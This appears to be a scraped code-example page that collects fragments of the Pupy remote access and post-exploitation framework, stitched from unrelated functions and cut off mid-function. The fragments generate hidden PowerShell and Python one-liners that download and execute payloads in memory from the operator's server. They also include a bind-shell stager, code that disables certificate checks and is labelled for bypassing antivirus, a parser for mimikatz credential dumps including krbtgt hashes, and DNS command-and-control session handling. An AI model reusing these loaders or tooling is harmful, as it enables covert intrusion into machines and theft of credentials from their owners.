Ejemplo n.º 1
0
def dotnet_serve_payload(display, server, rawdll, conf, link_ip="<your_ip>"):
    if not server:
        display(Error('Oneliners only supported from pupysh'))
        return

    if not server.pupweb:
        display(Error('Webserver disabled'))
        return

    dn = DotNetPayload(display, server, conf, rawdll)
    exe_path = dn.gen_exe(options='-target:library')

    with open(exe_path, 'rb') as r:
        payload = r.read()

    os.unlink(exe_path)

    landing_uri = server.pupweb.serve_content(payload, alias='.NET payload')

    command = PS_TEMPLATE.format(link_ip=link_ip,
                                 port=server.pupweb.port,
                                 landing_uri=landing_uri).encode('utf-16le')

    display(
        List(
            [
                'powershell -w hidden -enc "{}"'.format(b64encode(command)),
            ],
            caption=Success(
                'Copy/paste this one-line loader to deploy pupy without writing on the disk'
            )))
Ejemplo n.º 2
0
def do(server, handler, config, args):
    if args.command == 'list':
        result = []

        for section in config.sections():
            if args.section and args.section != section:
                continue

            result.append('[{}]'.format(section))
            if args.sections:
                continue

            for variable in config.options(section):
                result.append('{} = {}'.format(variable,
                                               config.get(section, variable)))

            result.append('')

        handler.display(Pygment(IniLexer(), '\n'.join(result)))

    elif args.command == 'set':
        try:
            value = args.value
            if args.args:
                value += ' '
                value += ' '.join(args.args)

            config.set(args.section, args.key, value)
            config.save(project=args.write_project, user=args.write_user)

        except config.NoSectionError:
            handler.display(Error(args.section, 'No section'))

    elif args.command == 'unset':
        try:
            if args.keys:
                for key in args.keys:
                    config.remove_option(args.section, key)
            else:
                to_remove = [k for k, _ in config.items(args.section)]

                for k in to_remove:
                    config.remove_option(args.section, k)

                config.remove_section(args.section)

            config.save(project=args.write_project, user=args.write_user)

        except config.NoSectionError:
            handler.display(Error(args.section, 'No section'))

    elif args.command == 'save':
        config.save(project=args.write_project, user=args.write_user)
Ejemplo n.º 3
0
    def __init__(self,
                 display,
                 conf,
                 pupy_conf,
                 link_port=8080,
                 targetOs='Windows'):
        '''
        '''
        self.conf = conf
        i = conf["launcher_args"].index("--host") + 1
        self.link_ip = conf["launcher_args"][i].split(":", 1)[0]
        self.link_port = link_port
        self.pupy_conf = pupy_conf

        self.__loadRubberDuckyConf__()

        self.rubberDuckyScriptFilename = 'rubberDuckyPayload.txt'
        self.rubberDuckyBinFilename = 'inject.bin'

        self.targetOs = targetOs
        self.display = display
        self.unconfigured = False

        if self.targetOs not in self.TARGET_OS_MANAGED:
            self.display(
                Error(
                    'Target OS ({0}) is not valid. It has to be in {1}'.format(
                        targetOs, self.TARGET_OS_MANAGED)))
Ejemplo n.º 4
0
def do(server, handler, config, args):
    orig_exit = builtins.exit
    orig_quit = builtins.quit

    def disabled_exit(*args, **kwargs):
        handler.display(
            Error('exit() disabled ! use ctrl+D to exit the python shell'))

    builtins.exit = disabled_exit
    builtins.quit = disabled_exit
    oldcompleter = readline.get_completer()

    try:
        local_ns = {
            'server': server,
            'handler': handler,
            'config': config,
        }

        readline.set_completer(PythonCompleter(local_ns=local_ns).complete)
        readline.parse_and_bind('tab: complete')
        code.interact(local=local_ns)

    except Exception as e:
        handler.display(Error(e))

    finally:
        readline.set_completer(oldcompleter)
        readline.parse_and_bind('tab: complete')
        builtins.exit = orig_exit
        builtins.quit = orig_quit
Ejemplo n.º 5
0
def main():
    from pupylib.utils.term import hint_to_text
    from traceback import print_exc

    def display(data):
        print hint_to_text(data)

    Credentials.DEFAULT_ROLE = 'CLIENT'

    config = PupyConfig()
    Credentials(config=config, validate=True)

    parser = get_parser(argparse.ArgumentParser, config)
    try:
        args = parser.parse_args()
        pupygen(args, config, None, display)

    except NoOutput:
        sys.exit(0)

    except InvalidOptions:
        sys.exit(1)

    except (ValueError, EncryptionError), e:
        if args.debug:
            print_exc()
        display(Error(e))
Ejemplo n.º 6
0
def pupygen(args, config, pupsrv, display):
    scriptlets = load_scriptlets(args.os, args.arch)

    if args.list:
        display(MultiPart([
            Table([{
                'FORMAT': f, 'DESCRIPTION': d
            } for f,d in {
                'client': 'generate client binary (linux/windows/apk/..)',
                'py': 'fully packaged python file',
                'py_oneliner': 'same as \'py\' format but served over http',
                'ps1': 'generate ps1 file which embeds pupy dll (x86-x64) and inject it to current process',
                'ps1_oneliner': 'load pupy remotely from memory with a single command line using powershell',
                'csharp': 'generate C# source (.cs) that executes pupy',
                '.NET': 'compile a C# payload into a windows executable.',
                '.NET_oneliner': 'Loads .NET assembly from memory via powershell'
            }.iteritems()], ['FORMAT', 'DESCRIPTION'], Color('Available formats (usage: -f <format>)', 'yellow')),

            Table([{
                'TRANSPORT': name, 'DESCRIPTION': t.info
            } for name, t in transports.iteritems()],
            ['TRANSPORT', 'DESCRIPTION'], Color('Available transports (usage: -t <transport>)', 'yellow')),

            Table([{
                'SCRIPTLET': name, 'DESCRIPTION': sc.description, 'ARGS': '; '.join(
                    '{}={}'.format(k,v) for k,v in sc.arguments.iteritems()
                )
            } for name, sc in scriptlets.iteritems()],
            ['SCRIPTLET', 'DESCRIPTION', 'ARGS'], Color(
                'Available scriptlets for {}/{} '
                '(usage: -s <scriptlet>[,arg1=value1,arg2=value2]'.format(
                    args.os or 'any', args.arch or 'any'), 'yellow'))
        ]))

        raise NoOutput()

    if args.workdir:
        os.chdir(args.workdir)

    script_code=""

    try:
        if args.scriptlet:
            script_code = pack_scriptlets(
                display,
                scriptlets,
                args.scriptlet,
                os=args.os,
                arch=args.arch,
                debug=args.debug_scriptlets)

    except ValueError, e:
        display(Error(e.message))
        raise NoOutput()
Ejemplo n.º 7
0
    def __loadRubberDuckyConf__(self):
        '''
        '''

        self.encoderPath = self.pupy_conf.get('rubber_ducky', 'encoder_path')
        self.keyboardLayoutPath = self.pupy_conf.get(
            'rubber_ducky', 'default_keyboard_layout_path')

        if self.encoderPath == 'TO_FILL':
            self.unconfigured = True
            self.display(
                Error(
                    'The "encoder_path" value has to be filled in pupy.conf for generating inject.bin'
                ))

        if self.keyboardLayoutPath == 'TO_FILL':
            self.unconfigured = True
            self.display(
                Error(
                    'The "default_keyboard_layout_path" value has to be filled in pupy.conf '
                    'for generating inject.bin'))
Ejemplo n.º 8
0
def serve_payload(display, server, payload, link_ip="<your_ip>"):
    if not server:
        display(Error('Oneliners only supported from pupysh'))
        return

    if not server.pupweb:
        display(Error('Webserver disabled'))
        return

    landing_uri = server.pupweb.serve_content(payload, alias='py payload')

    display(Warn('Python 2.7.x required, x should be >= 9'))

    display(
        List([
            "python -c 'import urllib;exec urllib.urlopen(\"http://%s:%s%s\").read()'"
            % (link_ip, server.pupweb.port, landing_uri),
        ],
             caption=Success(
                 'Copy/paste this one-line loader to deploy pupy without writing on the disk'
             )))
Ejemplo n.º 9
0
def do(server, handler, config, modargs):
    pj = None
    args = modargs.arguments
    clients_filter = modargs.filter or handler.default_filter

    try:
        module = server.get_module(
            server.get_module_name_from_category(modargs.module))

    except PupyModuleUsageError, e:
        prog, message, usage = e.args
        self.display(Line(Error(prog + ':'), Color(message, 'lightred')))
        self.display(usage)
Ejemplo n.º 10
0
def do(server, handler, config, modargs):
    if modargs.kill:
        j = server.get_job(modargs.kill)
        handler.summary(j)
        finished = j.is_finished()

        if finished:
            server.del_job(j.jid)
            handler.display(Success('Job closed'))

        else:
            j.interrupt()
            j.stop()
            handler.display(Success('Job killed'))

        server.del_job(modargs.kill)
        del j

    elif modargs.kill_no_output:
        j = server.get_job(modargs.kill_no_output)
        finished = j.is_finished()
        if finished:
            server.del_job(j.jid)
            handler.display('Job closed')
        else:
            j.interrupt()
            j.stop()
            handler.display(Success('Job killed'))
        server.del_job(modargs.kill_no_output)
        del j

    elif modargs.print_output:
        j = server.get_job(modargs.print_output)
        handler.summary(j)

    elif modargs.list:
        if server.jobs:
            dictable = []

            for jid, job in server.jobs.iteritems():
                dictable.append({
                    'id': jid,
                    'job': str(job),
                    'status': 'finished' if job.is_finished() else 'running',
                    'clients': len(job)
                })

            handler.display(Table(dictable,
                                  ['id', 'job', 'clients', 'status']))
        else:
            handler.display(Error('No jobs are currently running'))
Ejemplo n.º 11
0
    def log(self, handler):
        if not self.show_requests:
            return

        message = 'Web: '

        if handler.request.uri in self.aliases:
            message += '({}) '.format(self.aliases[handler.request.uri])

        message += handler._request_summary()

        if handler.get_status() < 400:
            self.pupsrv.info(Success(message))
        else:
            self.pupsrv.info(Error(message))
Ejemplo n.º 12
0
def send_ps1_payload(display, conf, bind_port, target_ip, nothidden=False):

    ps1_template = """$l=[System.Net.Sockets.TcpListener][BIND_PORT];$l.start();$c=$l.AcceptTcpClient();$t=$c.GetStream();
    [byte[]]$b=0..4096|%{0};$t.Read($b, 0, 4);$c="";
    if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){$t.Write([System.Text.Encoding]::UTF8.GetBytes("2"),0,1);}
    else{$t.Write([System.Text.Encoding]::UTF8.GetBytes("1"),0,1);}
    while(($i=$t.Read($b,0,$b.Length)) -ne 0){ $d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$c=$c+$d; }
    $t.Close();$l.stop();iex $c;
    """

    main_ps1_template = """$c=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{0}'));iex $c;"""
    hidden = '' if nothidden else '-w hidden '
    launcher = ps1_template.replace("[BIND_PORT]", bind_port)
    launcher = launcher.replace('\n', '').replace('    ', '')
    basic_launcher = "powershell.exe [HIDDEN]-noni -nop [CMD]".replace(
        '[HIDDEN]', hidden)
    oneliner = basic_launcher.replace('[CMD]', '-c \"%s\"' % launcher)
    encoded_oneliner = basic_launcher.replace(
        '[CMD]', '-enc %s' % b64encode(launcher.encode('UTF-16LE')))

    display(
        List([
            oneliner,
            encoded_oneliner,
        ],
             caption=Success('Copy/paste one of these one-line loader to '
                             'deploy pupy without writing on the disk')))

    display(Success('Generating puppy dll. Be patient...'))

    display(Success('Connecting to {0}:{1}'.format(target_ip, bind_port)))

    s = None

    for _ in xrange(10):
        try:
            s = socket.create_connection((target_ip, int(bind_port)))
            break

        except socket.error, e:
            if e.errno not in (errno.ECONNREFUSED, errno.ETIMEDOUT):
                display(Error('Connection failed: {}'.format(e)))
                return

            sleep(CONNECTION_RETRY_SLEEP_TIME)
Ejemplo n.º 13
0
 def generateInjectBinFile(self):
     '''
     returns True if no error
     Otherwise returns False
     '''
     rubberDuckyEncodeCmd = self.ENCODE_CMD.format(
         self.encoderPath, self.rubberDuckyScriptFilename,
         self.keyboardLayoutPath, self.rubberDuckyBinFilename)
     try:
         output = subprocess.check_output(rubberDuckyEncodeCmd,
                                          stderr=subprocess.STDOUT,
                                          stdin=subprocess.PIPE,
                                          shell=True)
     except subprocess.CalledProcessError, e:
         self.display(
             Error(
                 'Impossible to generate {0} file with encoder: {1}'.format(
                     self.rubberDuckyBinFilename, repr(e.output))))
Ejemplo n.º 14
0
def pack_scriptlets(display,
                    scriptlets,
                    args_scriptlet,
                    os=None,
                    arch=None,
                    debug=False):
    sp = ScriptletsPacker(os, arch)

    for sc in args_scriptlet:
        tab = sc.split(",", 1)
        sc_args = {}
        name = tab[0]
        if len(tab) == 2:
            try:
                for x, y in [x.strip().split("=") for x in tab[1].split(",")]:
                    sc_args[x.strip()] = y.strip()
            except:
                raise ValueError(
                    "usage: pupygen ... -s %s,arg1=value,arg2=value,..." %
                    name)

        if name not in scriptlets:
            raise ValueError("unknown scriptlet %s, valid choices are : %s" %
                             (repr(name), [x for x in scriptlets.iterkeys()]))

        display(
            Success('loading scriptlet {}{}'.format(
                repr(name), 'with args {}'.format(' '.join(
                    '{}={}'.format(k, repr(v))
                    for k, v in sc_args.iteritems())) if sc_args else '')))

        try:
            sp.add_scriptlet(scriptlets[name], sc_args)

        except ScriptletArgumentError as e:
            display(
                MultiPart(
                    Error('Scriptlet {} argument error: {}'.format(
                        repr(name), str(e))), scriptlets[name].format_help()))
            raise ValueError('{}'.format(e))

    script_code = sp.pack()
    return script_code
Ejemplo n.º 15
0
def get_raw_conf(display, conf, obfuscate=False, verbose=False):

    credentials = Credentials(role='client')

    if "offline_script" not in conf:
        offline_script=""
    else:
        offline_script=conf["offline_script"]

    launcher = launchers[conf['launcher']]()
    launcher.parse_args(conf['launcher_args'])

    required_credentials = set(launcher.credentials) \
      if hasattr(launcher, 'credentials') else set([])

    transport = launcher.get_transport()
    transports_list = []

    if transport:
        transports_list = [transport]
        if transports[transport].credentials:
            for name in transports[transport].credentials:
                required_credentials.add(name)
    elif not transport:
        for n, t in transports.iteritems():
            transports_list.append(n)

            if t.credentials:
                for name in t.credentials:
                    required_credentials.add(name)

    available = []
    not_available = []

    for cred in required_credentials:
        if credentials[cred]:
            available.append(cred)
        else:
            not_available.append(cred)

    display(
        List(available, bullet=Color('+', 'green'),
        caption=Success('Required credentials (found)')))

    if not_available:
        display(
            List(not_available, bullet=Color('-', 'red'),
            caption=Error('Required credentials (not found)')))

    embedded_credentials = '\n'.join([
        '{}={}'.format(credential, repr(credentials[credential])) \
        for credential in required_credentials if credentials[credential] is not None
    ])+'\n'

    if verbose:
        config_table = [{
            'KEY': k, 'VALUE': 'PRESENT' if (k in ('offline_script') and v) else (
                unicode(v) if type(v) not in (tuple,list,set) else ' '.join(
                    unicode(x) for x in v))
        } for k,v in conf.iteritems() if v]

        display(Table(config_table, ['KEY', 'VALUE'], Color('Configuration', 'yellow'), vspace=1))

    config = '\n'.join([
        'pupyimporter.pupy_add_package({})'.format(
            repr(cPickle.dumps({
                'pupy_credentials.pye':
                bytes(pupycompile(embedded_credentials, obfuscate=True))
            }))),
        dependencies.importer(set(
            'network.transports.{}'.format(transport) for transport in transports_list
        ), path=ROOT),
        'import sys',
        'sys.modules.pop("network.conf", "")',
        'import network.conf',
        'LAUNCHER={}'.format(repr(conf['launcher'])),
        'LAUNCHER_ARGS={}'.format(repr(conf['launcher_args'])),
        'CONFIGURATION_CID={}'.format(conf.get('cid', 0x31338)),
        'DELAYS={}'.format(repr(conf.get('delays', [
            (10, 5, 10), (50, 30, 50), (-1, 150, 300)]))),
        'pupy.cid = CONFIGURATION_CID',
        'debug={}'.format(bool(conf.get('debug', False))),
        'SCRIPTLETS={}'.format(repr(offline_script) if offline_script else '""')
    ])

    return compress_encode_obfs(config) if obfuscate else config
Ejemplo n.º 16
0
def do(server, handler, config, modargs):
    try:
        credentials = Credentials(config=config)
    except Exception, e:
        handler.display(Error(e))
        return
Ejemplo n.º 17
0
def do(server, handler, config, modargs):
    pj = None
    args = modargs.arguments
    clients_filter = modargs.filter or handler.default_filter

    try:
        module = server.get_module(
            server.get_module_name_from_category(modargs.module))

    except PupyModuleUsageError, e:
        prog, message, usage = e.args
        self.display(Line(Error(prog + ':'), Color(message, 'lightred')))
        self.display(usage)

    except Exception as e:
        handler.display(Error(e, modargs.module))
        return

    if not module:
        handler.display(Error('Unknown module', modargs.module))
        return

    clients = server.get_clients(clients_filter)
    if not clients:
        if not server.clients:
            handler.display(Error('No clients currently connected'))
        else:
            handler.display(Error('No clients match this search!'))
        return

    modjobs = [
Ejemplo n.º 18
0
def do(server, handler, config, args):
    if not args.launcher or (args.launcher and args.launcher in ('connect', 'auto_proxy')):
        args.launcher = args.launcher or 'connect'
        transport = None
        transport_idx = None
        host = None
        host_idx = None
        port = None
        preferred_ok = True

        need_transport = False
        need_hostport = False

        if args.launcher_args:
            total = len(args.launcher_args)
            for idx,arg in enumerate(args.launcher_args):
                if arg == '-t' and idx < total-1:
                    transport = args.launcher_args[idx+1]
                    transport_idx = idx+1
                elif arg == '--host' and idx<total-1:
                    host_idx = idx+1
                    hostport = args.launcher_args[host_idx]
                    if ':' in hostport:
                        host, port = hostport.rsplit(':', 1)
                        port = int(port)
                    else:
                        try:
                            port = int(hostport)
                        except:
                            host = hostport

        need_transport = not bool(transport)
        need_hostport = not all([host, port])

        if not all([host, port, transport]):
            default_listener = None
            preferred_ok = False

            if transport:
                default_listener = server.listeners.get(transport)
                if not default_listener:
                    handler.display(Error(
                        'Requested transport {} is not active. Will use default'.format(
                            transport)))

                    need_transport = True

            if not default_listener:
                try:
                    default_listener = next(server.listeners.itervalues())
                except StopIteration:
                    pass

            if default_listener:
                transport = default_listener.name

                handler.display(Info(
                    'Connection point: Transport={} Address={}:{}'.format(
                        default_listener.name, default_listener.external,
                        default_listener.external_port)))

                if host or port:
                    handler.display(Warn('Host and port will be ignored'))

                if args.prefer_external != default_listener.local:
                    host = default_listener.external
                    port = default_listener.external_port
                    preferred_ok = True
                elif not args.prefer_external and not default_listener.local:
                    host = get_listener_ip(cache=False)
                    if host:
                        handler.display(Warn('Using {} as local IP'.format(host)))

                    port = default_listener.port
                    preferred_ok = True
                else:
                    preferred_ok = not (default_listener.local and args.prefer_external)

        if not transport:
            handler.display(Error('No active transports. Explicitly choose one'))
            return

        if not all([host, port, preferred_ok]):
            maybe_port = get_listener_port(config, external=args.prefer_external)
            maybe_host, local = get_listener_ip_with_local(
                external=args.prefer_external,
                config=config, igd=server.igd
            )

            if (not local and args.prefer_external) or not (host and port):
                handler.display(Warn('Using configured/discovered external HOST:PORT'))
                host = maybe_host
                port = maybe_port
            else:
                handler.display(Warn('Unable to find external HOST:PORT'))

        if need_transport:
            if transport_idx is None:
                args.launcher_args += ['-t', transport]
            else:
                args.launcher_args[transport_idx] = transport

        if need_hostport:
            hostport = '{}:{}'.format(host, port)
            if host_idx is None:
                args.launcher_args += ['--host', hostport]
            else:
                args.launcher_args[host_idx] = hostport

    if server.httpd:
        wwwroot = config.get_folder('wwwroot')
        if not args.output_dir:
            args.output_dir = wwwroot

    try:
        output = pupygen.pupygen(args, config, server, handler.display)

    except pupygen.NoOutput:
        return

    except Exception, e:
        handler.display(Error(e, 'payload generation failed'))
        import traceback
        traceback.print_exc()
        return
Ejemplo n.º 19
0
    try:
        for item in credentials.display(search=modargs.search.decode('utf-8'), isSorted=modargs.sort):
            if item['category'] not in categories:
                categories[item['category']] = {
                    'credtype': item.get('credtype'),
                    'creds': []
                }

            category = categories[item['category']]
            category['creds'].append({
                k:v for k,v in item.iteritems() if k in ('cid', 'login', 'secret', 'resource')
            })

    except Exception, e:
        handler.display(Error(e))
        return

    if not categories:
        handler.display(Error('DB is empty'))
        return

    try:
        for category,info in categories.iteritems():
            if not info['creds']:
                continue

            credtype = info['credtype']

            columns = ['cid', 'login', 'secret', 'resource']
            caption = category
Ejemplo n.º 20
0
    def parse_mimikatz(self, data):
        """
        Parse the output from Invoke-Mimikatz to return credential sets.
        This was directly stolen from the Empire project as well.
        """

        # cred format:
        #   credType, domain, username, password, hostname, sid
        creds = []

        # regexes for "sekurlsa::logonpasswords" Mimikatz output
        regexes = [
            "(?s)(?<=msv :).*?(?=tspkg :)", "(?s)(?<=tspkg :).*?(?=wdigest :)",
            "(?s)(?<=wdigest :).*?(?=kerberos :)",
            "(?s)(?<=kerberos :).*?(?=ssp :)",
            "(?s)(?<=ssp :).*?(?=credman :)",
            "(?s)(?<=credman :).*?(?=Authentication Id :)",
            "(?s)(?<=credman :).*?(?=mimikatz)"
        ]

        hostDomain = ""
        domainSid = ""
        hostName = ""

        lines = data.split("\n")
        for line in lines[0:2]:
            if line.startswith("Hostname:"):
                try:
                    domain = line.split(":")[1].strip()
                    temp = domain.split("/")[0].strip()
                    domainSid = domain.split("/")[1].strip()

                    hostName = temp.split(".")[0]
                    hostDomain = ".".join(temp.split(".")[1:])
                except:
                    pass

        for regex in regexes:

            p = re.compile(regex)

            for match in p.findall(data):

                lines2 = match.split("\n")
                username, domain, password = "", "", ""

                for line in lines2:
                    try:
                        if "Username" in line:
                            username = line.split(":", 1)[1].strip()
                        elif "Domain" in line:
                            domain = line.split(":", 1)[1].strip()
                        elif "NTLM" in line or "Password" in line:
                            password = line.split(":", 1)[1].strip()
                    except:
                        pass

                    if password:
                        if username != "" and password != "" and password != "(null)":

                            sid = ""

                            # substitute the FQDN in if it matches
                            if hostDomain.startswith(domain.lower()):
                                domain = hostDomain
                                sid = domainSid

                            store = False
                            category = ''
                            if self.validate_ntlm(password):
                                credType = "Hash"
                                category = 'NTLM hash'
                                if not username.endswith("$"):
                                    store = True

                            else:
                                credType = "Password"
                                category = 'System password'
                                # ignore big hex password
                                if len(password) < 300:
                                    store = True

                            result = {
                                'Domain': domain,
                                'Login': username,
                                credType: password,
                                'CredType': credType.lower(),
                                'Host': hostName,
                                'sid': sid,
                                'Category': category,
                                'uid': self.client.short_name()
                            }
                            # do not store password if it has already been stored
                            for c in creds:
                                if c == result:
                                    store = False
                            if store:
                                creds.append(result)
                        username, domain, password = "", "", ""

        if len(creds) == 0:
            # check if we have lsadump output to check for krbtgt
            # happens on domain controller hashdumps
            for x in xrange(8, 13):
                if lines[x].startswith("Domain :"):

                    domain, sid, krbtgtHash = "", "", ""

                    try:
                        domainParts = lines[x].split(":")[1]
                        domain = domainParts.split("/")[0].strip()
                        sid = domainParts.split("/")[1].strip()

                        # substitute the FQDN in if it matches
                        if hostDomain.startswith(domain.lower()):
                            domain = hostDomain
                            sid = domainSid

                        for x in xrange(0, len(lines)):
                            if lines[x].startswith("User : krbtgt"):
                                krbtgtHash = lines[x + 2].split(":")[1].strip()
                                break

                        if krbtgtHash != "":
                            creds.append({
                                'Domain': domain,
                                'Login': username,
                                'Hash': krbtgtHash,
                                'Host': hostName,
                                'CredType': 'hash',
                                'sid': sid,
                                'Category': 'krbtgt hash',
                                'uid': self.client.short_name()
                            })

                    except Exception, e:
                        self.log(Error(e))
Ejemplo n.º 21
0
            args.output_dir = wwwroot

    try:
        output = pupygen.pupygen(args, config, server, handler.display)

    except pupygen.NoOutput:
        return

    except Exception, e:
        handler.display(Error(e, 'payload generation failed'))
        import traceback
        traceback.print_exc()
        return

    if not output and 'oneliner' not in args.format:
        handler.display(Error('payload generation failed'))
        return

    if server.httpd and output.startswith(wwwroot):
        wwwpath = os.path.relpath(output, wwwroot)
        if config.getboolean('httpd', 'secret'):
            wwwpath = '/'.join([
                config.get('randoms', 'wwwsecret', random=5)
            ] + [
                config.set('randoms', None, x, random=5) for x in wwwpath.split('/')
            ])

        handler.display(Success('WWW URI PATH: /{}'.format(wwwpath)))
        host="<host:port>"
        try:
            for i in range(0,len(args.launcher_args)):
Ejemplo n.º 22
0
def serve_ps1_payload(display,
                      server,
                      conf,
                      link_ip="<your_ip>",
                      useTargetProxy=False,
                      nothidden=False):
    if not server:
        display(Error('Oneliners only supported from pupysh'))
        return

    if not server.pupweb:
        display(Error('Webserver disabled'))
        return

    stage_encoding = "$data='{0}';$code=[System.Text.Encoding]::UTF8.GetString("\
      "[System.Convert]::FromBase64String($data));$data='';iex $code;"

    payload_url_x86 = server.pupweb.serve_content(stage_encoding.format(
        b64encode(pupygen.generate_ps1(display, conf, x86=True, as_str=True))),
                                                  as_file=True,
                                                  alias='ps1 payload [x86]')

    payload_url_x64 = server.pupweb.serve_content(stage_encoding.format(
        b64encode(pupygen.generate_ps1(display, conf, x64=True, as_str=True))),
                                                  as_file=True,
                                                  alias='ps1 payload [x64]')

    protocol = 'http'
    ssl_cert_validation = ''
    not_use_target_proxy = ''
    hidden = '-w hidden '

    if nothidden:
        hidden = ''

    if server.pupweb.ssl:
        protocol = 'https'
        ssl_cert_validation = '[System.Net.ServicePointManager]::'\
          'ServerCertificateValidationCallback={$true};'

    if not useTargetProxy:
        not_use_target_proxy = '$w=(New-Object System.Net.WebClient);'\
          '$w.Proxy=[System.Net.GlobalProxySelection]::GetEmptyWebProxy();'

    powershell = "[NOT_USE_TARGET_PROXY][SSL_CERT_VALIDATION]IEX("\
      "New-Object Net.WebClient).DownloadString('[PROTOCOL]://[LINK_IP]:[LINK_PORT][RANDOM]');"

    repls = {
        '[NOT_USE_TARGET_PROXY]': not_use_target_proxy,
        '[SSL_CERT_VALIDATION]': ssl_cert_validation,
        '[PROTOCOL]': protocol,
        '[LINK_IP]': '%s' % link_ip,
        '[LINK_PORT]': '%s' % server.pupweb.port,
    }

    for k, v in repls.iteritems():
        powershell = powershell.replace(k, v)

    launcher_x64 = powershell.replace('[RANDOM]', payload_url_x64)
    launcher_x86 = powershell.replace('[RANDOM]', payload_url_x86)

    # Compute stage1 to gain time response
    ps_template_stage1 = "if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{ {0} }} else {{ {1} }}"

    # For bypassing AV
    stage1 = r"$code=[System.Text.Encoding]::UTF8.GetString("\
      "[System.Convert]::FromBase64String('{0}'));iex $code;".format(
          b64encode(ps_template_stage1.format(launcher_x64, launcher_x86)))

    landing_uri = server.pupweb.serve_content(stage1,
                                              alias='ps1 payload loader')

    launcher = powershell.replace('[RANDOM]', landing_uri)
    basic_launcher = "powershell.exe [HIDDEN]-noni -nop [CMD]".replace(
        '[HIDDEN]', hidden)
    oneliner = basic_launcher.replace('[CMD]', '-c \"%s\"' % launcher)
    encoded_oneliner = basic_launcher.replace(
        '[CMD]', '-enc %s' % b64encode(launcher.encode('UTF-16LE')))

    display(
        List(
            [oneliner, encoded_oneliner],
            caption=Success(
                'Copy/paste one of these one-line loader to deploy pupy without writing on the disk:'
            )))

    display(
        Warn('Please note that even if the target\'s system uses a proxy, '
             'this previous powershell command will not use the '
             'proxy for downloading pupy'))
Ejemplo n.º 23
0
def do(server, handler, config, args):
    if not server.dnscnc:
        handler.display(Error('DNSCNC disabled'))
        return

    if args.command == 'status':
        policy = handler.dnscnc.policy
        objects = {
            'DOMAIN':
            server.dnscnc.dns_domain,
            'DNS PORT':
            str(server.dnscnc.dns_port),
            'RECURSOR':
            server.dnscnc.dns_recursor,
            'LISTEN':
            str(server.dnscnc.dns_listen),
            'SESSIONS':
            'TOTAL={} DIRTY={}'.format(server.dnscnc.count,
                                       server.dnscnc.dirty),
            'POLL':
            '{}s'.format(policy['interval']),
            'TIMEOUT':
            '{}s'.format(policy['timeout']),
            'KEX':
            '{}'.format(bool(policy['kex'])),
        }

        handler.display(
            Table([{
                'PROPERTY': k,
                'VALUE': v
            } for k, v in objects.iteritems()], ['PROPERTY', 'VALUE']))

        if server.dnscnc.commands:
            handler.display('\nDEFAULT COMMANDS:\n' + '\n'.join([
                '{:03d} {}'.format(i, cmd)
                for i, cmd in enumerate(server.dnscnc.commands)
            ]))

        if server.dnscnc.node_commands:
            handler.display('\nNODE DEFAULT COMMANDS:')
            for node, commands in server.dnscnc.node_commands.iteritems():
                handler.display('\n' + '\n'.join([
                    '{:03d} {}: {}'.format(
                        i, '{:012x}'.format(node) if type(node) ==
                        int else node, cmd) for i, cmd in enumerate(commands)
                ]))

    elif args.command == 'info':
        sessions = server.dnscnc.list(args.node)
        if not sessions:
            handler.display(Success('No active DNSCNC sesisons found'))
            return

        objects = []

        sort_by = None

        if args.o:
            sort_by = lambda x: x.system_info['os'] + x.system_info['arch']
        elif args.i:
            sort_by = lambda x: x.system_info['external_ip']
        elif args.n:
            sort_by = lambda x: x.system_info['node']
        elif args.c:
            sort_by = lambda x: x.system_status['cpu']
        elif args.m:
            sort_by = lambda x: x.system_status['mem']
        elif args.l:
            sort_by = lambda x: x.system_status['listen']
        elif args.e:
            sort_by = lambda x: x.system_status['remote']
        elif args.u:
            sort_by = lambda x: x.system_status['users']
        elif args.x:
            sort_by = lambda x: x.system_status['idle']
        elif args.t:
            sort_by = lambda x: str(sorted(config.tags(x.system_info['node'])))

        if sort_by:
            sessions = sorted(sessions, key=sort_by, reverse=bool(args.r))

        for idx, session in enumerate(sessions):
            if not (session.system_status and session.system_info):
                continue

            object = {
                '#':
                '{:03d}'.format(idx),
                'P':
                '',
                'NODE':
                '{:012x}'.format(session.system_info['node']),
                'SESSION':
                '{:08x}'.format(session.spi),
                'IP':
                session.system_info['external_ip'] or '?',
                'OS':
                '{}/{}'.format(session.system_info['os'],
                               session.system_info['arch']),
                'CPU':
                '{:d}%'.format(session.system_status['cpu']),
                'MEM':
                '{:d}%'.format(session.system_status['mem']),
                'LIS':
                '{:d}'.format(session.system_status['listen']),
                'EST':
                '{:d}'.format(session.system_status['remote']),
                'USERS':
                '{:d}'.format(session.system_status['users']),
                'IDLE':
                '{}'.format(session.system_status['idle']),
                'TAGS':
                '{}'.format(config.tags(session.system_info['node']))
            }

            pupy_session = None
            for c in server.clients:
                if 'spi' in c.desc:
                    if c.desc['spi'] == '{:08x}'.format(session.spi):
                        pupy_session = c.desc['id']
                elif c.node() == '{:012x}'.format(session.system_info['node']):
                    pupy_session = c.desc['id']
                    break

            if pupy_session:
                object.update({'P': pupy_session})

            color = ''
            if (session.online_status or session.egress_ports
                    or session.open_ports):
                color = 'cyan'
            elif session.system_status['cpu'] > 90 or session.system_status[
                    'mem'] > 90:
                color = 'lightred'
            elif (session.pstore_dirty):
                color = 'magenta'
            elif not session.system_status['idle']:
                color = 'lightyellow'
            elif pupy_session:
                color = 'lightgreen'

            if color:
                object = {k: Color(v, color) for k, v in object.iteritems()}

            objects.append(object)

        columns = [
            '#', 'P', 'NODE', 'SESSION', 'IP', 'OS', 'CPU', 'MEM', 'LIS',
            'EST', 'USERS', 'IDLE', 'TAGS'
        ]

        handler.display(Table(objects, columns))

    elif args.command == 'sessions':
        sessions = server.dnscnc.list(args.node)
        if not sessions:
            handler.display(Success('No active DNSCNC sesisons found'))
            return

        objects = []

        sort_by = None
        if args.b:
            sort_by = lambda x: x.system_info['boottime']
        elif args.o:
            sort_by = lambda x: x.system_info['os'] + x.system_info['arch']
        elif args.i:
            sort_by = lambda x: x.system_info['external_ip']
        elif args.d:
            sort_by = lambda x: x.duration
        elif args.c:
            sort_by = lambda x: x.commands
        elif args.n:
            sort_by = lambda x: x.system_info['node']

        if sort_by:
            sessions = sorted(sessions, key=sort_by, reverse=bool(args.r))

        for idx, session in enumerate(sessions):
            object = {
                '#': idx,
                'P': '',
                'NODE': '{:012x}'.format(session.system_info['node']),
                'SESSION': '{:08x}'.format(session.spi),
                'EXTERNAL IP': '{}'.format(
